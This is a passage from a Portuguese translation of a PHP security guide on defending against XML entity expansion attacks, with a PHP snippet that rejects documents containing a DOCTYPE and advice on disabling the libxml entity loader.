contra entidades recursivas, embora devamos fazer algo de qualquer
maneira, na chance de que libxml2ocorra uma recaída.O novo perigo primário, portanto, é a abordagem inelegente do Ataque Golpe Quadrático ou da Expansão de Entidade Genérica. Esse ataque não requer chamadas de sistema locais ou remotas e não exige recursão de entidade. Na verdade, a única defesa é descartar XML ou limpar o XML, onde ele contém um arquivo
DOCTYPE. Descartar o XML é a aposta mais segura, a menos que o uso de um DOCTYPEseja
esperado e o recebamos de uma fonte confiável protegida, ou seja,
recebemos por uma conexão HTTPS verificada por pares. Caso contrário,
precisamos criar alguma lógica homebrewed na ausência do PHP, dando-nos
uma opção de trabalho para desativar os DTDs. Supondo que você possa
chamar libxml_disable_entity_loader(TRUE),
o seguinte funcionará com segurança desde que a expansão da entidade é
adiada até que o valor do nó infectado pela expansão seja acessado (o
que não acontece durante essa verificação).$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
throw new \InvalidArgumentException(
'Invalid XML: Detected use of illegal DOCTYPE'
);
}
}
libxml_disable_entity_loaderconfiguração definida para TRUEque
as referências de entidades externas não sejam resolvidas quando o XML
for inicialmente carregado. Onde um analisador de XML não depende libxml2disso
pode ser a única defesa possível, a menos que o analisador tenha um
conjunto abrangente de opções que controlam como as entidades podem ser
resolvidas.Onde você pretende usar
SimpleXML, tenha em mente que você pode importar um DOMDocumentobjeto verificado usando a simplexml_import_dom()função.
Este artigo é uma tradução de: https://phpsecurity.readthedocs.io/en/latest/Injection-Attacks.html#injection-attacks

Comentários
Postar um comentário